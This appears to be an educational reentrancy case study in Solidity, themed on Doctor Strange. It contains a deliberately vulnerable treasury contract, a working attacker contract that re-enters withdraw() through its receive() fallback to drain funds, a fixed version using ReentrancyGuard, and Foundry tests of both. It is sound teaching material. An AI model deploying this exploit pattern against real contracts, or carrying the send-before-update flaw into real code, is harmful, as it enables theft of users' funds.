🌀 Doctor Strange vs Dormammu - Reentrancy Exploit Case Study#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
/*
5
  Dormammu (the treasury) holds Ether for citizens and pays a reward on withdraw.
6
  Bug: withdraw() sends Ether before updating the user's balance (CEI violation).
7
  An attacker (Doctor Strange) can reenter withdraw() in their fallback and drain the contract.
8
*/
9

10
contract DormammuTreasuryVulnerable {
11
    mapping(address => uint256) public balanceOf;
12

13
    /// @notice Alien Citizens deposit to the Dormammu Treasury
14
    function deposit() external payable {
15
        require(msg.value > 0, "zero deposit");
16
        balanceOf[msg.sender] += msg.value;
17
    }
18

19
    /// @notice Withdraw available balance (vulnerable)
20
    function withdraw() external {
21
        uint256 amount = balanceOf[msg.sender];
22
        require(amount > 0, "no balance");
23

24
        // 🛑 Vulnerable: external call happens BEFORE state update
25
        (bool sent,) = payable(msg.sender).call{value: amount}("");
26
        require(sent, "send failed");
27

28
        // state update happens after the external call - attacker can reenter here
29
        balanceOf[msg.sender] = 0;
30
    }
31

32
    /// @notice Current treasury balance
33
    function treasuryBalance() external view returns (uint256) {
34
        return address(this).balance;
35
    }
36
}

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
import {DormammuTreasuryVulnerable} from "./DormammuTreasuryVulnerable.sol";
5

6
/// @title Doctor Strange attacker (reentrancy).
7
contract TimeStone {
8
    DormammuTreasuryVulnerable public treasury;
9
    address public owner;
10
    uint256 public rewardAmount;
11

12
    constructor(address _vuln) {
13
        treasury = DormammuTreasuryVulnerable(_vuln);
14
        owner = msg.sender;
15
    }
16

17
    /// @notice deposit and start the attack
18
    function attack() external payable {
19
        require(msg.sender == owner, "You're not a Doctor Strange");
20
        require(msg.value > 0, "send ETH to attack");
21
        // deposit small amount to be eligible for withdraw
22
        treasury.deposit{value: msg.value}();
23
        // set single-call baseline reward to attempt
24
        rewardAmount = msg.value;
25
        treasury.withdraw();
26
    }
27

28
    /// @notice fallback - reenter while the treasury still has funds
29
    receive() external payable {
30
        // while the treasury still has at least `rewardAmount`, reenter withdraw()
31
        // careful: this condition keeps reentering until the treasury is drained or < rewardAmount
32
        if (address(treasury).balance >= rewardAmount) {
33
            treasury.withdraw();
34
        }
35
    }
36

37
    /// @notice collect stolen funds to owner externally (for test reporting)
38
    function collect() external {
39
        require(msg.sender == owner, "You're not a Doctor Strange");
40
        payable(owner).transfer(address(this).balance);
41
    }
42
}

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
3

4
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
5

6
contract DormammuTreasuryFixed is ReentrancyGuard {
6 collapsed lines
7
    mapping(address => uint256) public balanceOf;
8

9
    function deposit() external payable {
10
        require(msg.value > 0, "zero deposit");
11
        balanceOf[msg.sender] += msg.value;
12
    }
13

14
    function withdraw() external nonReentrant {
15
        uint256 amount = balanceOf[msg.sender];
16
        require(amount > 0, "no balance");
17

18
        //  Effects first
19
        balanceOf[msg.sender] = 0;
20

21
        //  Then interaction
22
        (bool sent, ) = payable(msg.sender).call{value: amount}("");
23
        require(sent, "send failed");
24
    }
25

26
    function treasuryBalance() external view returns (uint256) {
27
        return address(this).balance;
28
    }
29
}

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.24;
5 collapsed lines
3

4
import {Test} from "forge-std/Test.sol";
5
import {DormammuTreasuryVulnerable} from "../src/DormammuTreasuryVulnerable.sol";
6
import {DormammuTreasuryFixed} from "../src/DormammuTreasuryFixed.sol";
7
import {TimeStone} from "../src/TimeStone.sol";
8

9
contract ReentrancyDormammuTest is Test {
10
    DormammuTreasuryVulnerable treasury;
11
    DormammuTreasuryFixed fixedTreasury;
12
    TimeStone stone;
13
    TimeStone timeStoneFixed;
14

15
    address public Doctor_Strange = makeAddr("Doctor Strange");
16

17
    function setUp() public {
18
        // Deploy vulnerable and fixed contracts
19
        treasury = new DormammuTreasuryVulnerable();
20
        fixedTreasury = new DormammuTreasuryFixed();
21

22
        // Fund the Dormammu treasury (other citizens)
23
        vm.deal(address(this), 50 ether);
24
        // send 20 ETH to vulnerable treasury as "Alien citizen deposits"
25
        treasury.deposit{value: 20 ether}();
26
        fixedTreasury.deposit{value: 20 ether}();
27

28
        // deploy stone and fund it
29
        vm.prank(Doctor_Strange);
30
        stone = new TimeStone(address(treasury));
31
        vm.deal(address(Doctor_Strange), 5 ether);
32

33
        vm.prank(Doctor_Strange);
34
        timeStoneFixed = new TimeStone(address(fixedTreasury));
35
    }
36

37
    function test_Strange_Drains_Dormammu_With_TimeStone() public {
38
        // Check initial balances
39
        uint256 initialTreasury = address(treasury).balance;
40
        assertEq(initialTreasury, 20 ether);
41

42
        // Doctor Strange: Doctor Strange deposits 1 ETH and triggers reentrancy withdraw
43
        vm.prank(Doctor_Strange);
44
        stone.attack{value: 1 ether}();
45

46
        // After attack collect to track funds in This Contract (optional)
47
        vm.prank(Doctor_Strange);
48
        stone.collect();
49

50
        // Doctor Strange (via Time Stone) gains more than his initial 1 ETH
51
        // Dormammu Treasury should NOT have its full 20 ETH anymore
52
        uint256 remainingTreasury = address(treasury).balance;
53
        assertLt(remainingTreasury, 20 ether, "Dormammu Treasury should have lost funds due to reentrancy");
54
    }
55

56
    /// @notice Minimal test reusing vulnerable pattern but targeting fixed contract type
57
    function test_Fixed_Resists_Reentrancy() public {
58
        // Check initial balances
59
        uint256 initialTreasury = address(fixedTreasury).balance;
60
        assertEq(initialTreasury, 20 ether);
61

62
        // Doctor Strange tries to attack fixed treasury
63
        vm.prank(Doctor_Strange);
64
        vm.expectRevert(); // we EXPECT this to fail
65
        timeStoneFixed.attack{value: 1 ether}();
66

67
        // Verify treasury still holds full funds
68
        uint256 remainingfixedTreasury = address(fixedTreasury).balance;
69
        assertEq(remainingfixedTreasury, 20 ether, "Fixed treasury should resist reentrancy and keep full funds");
70
    }
71
}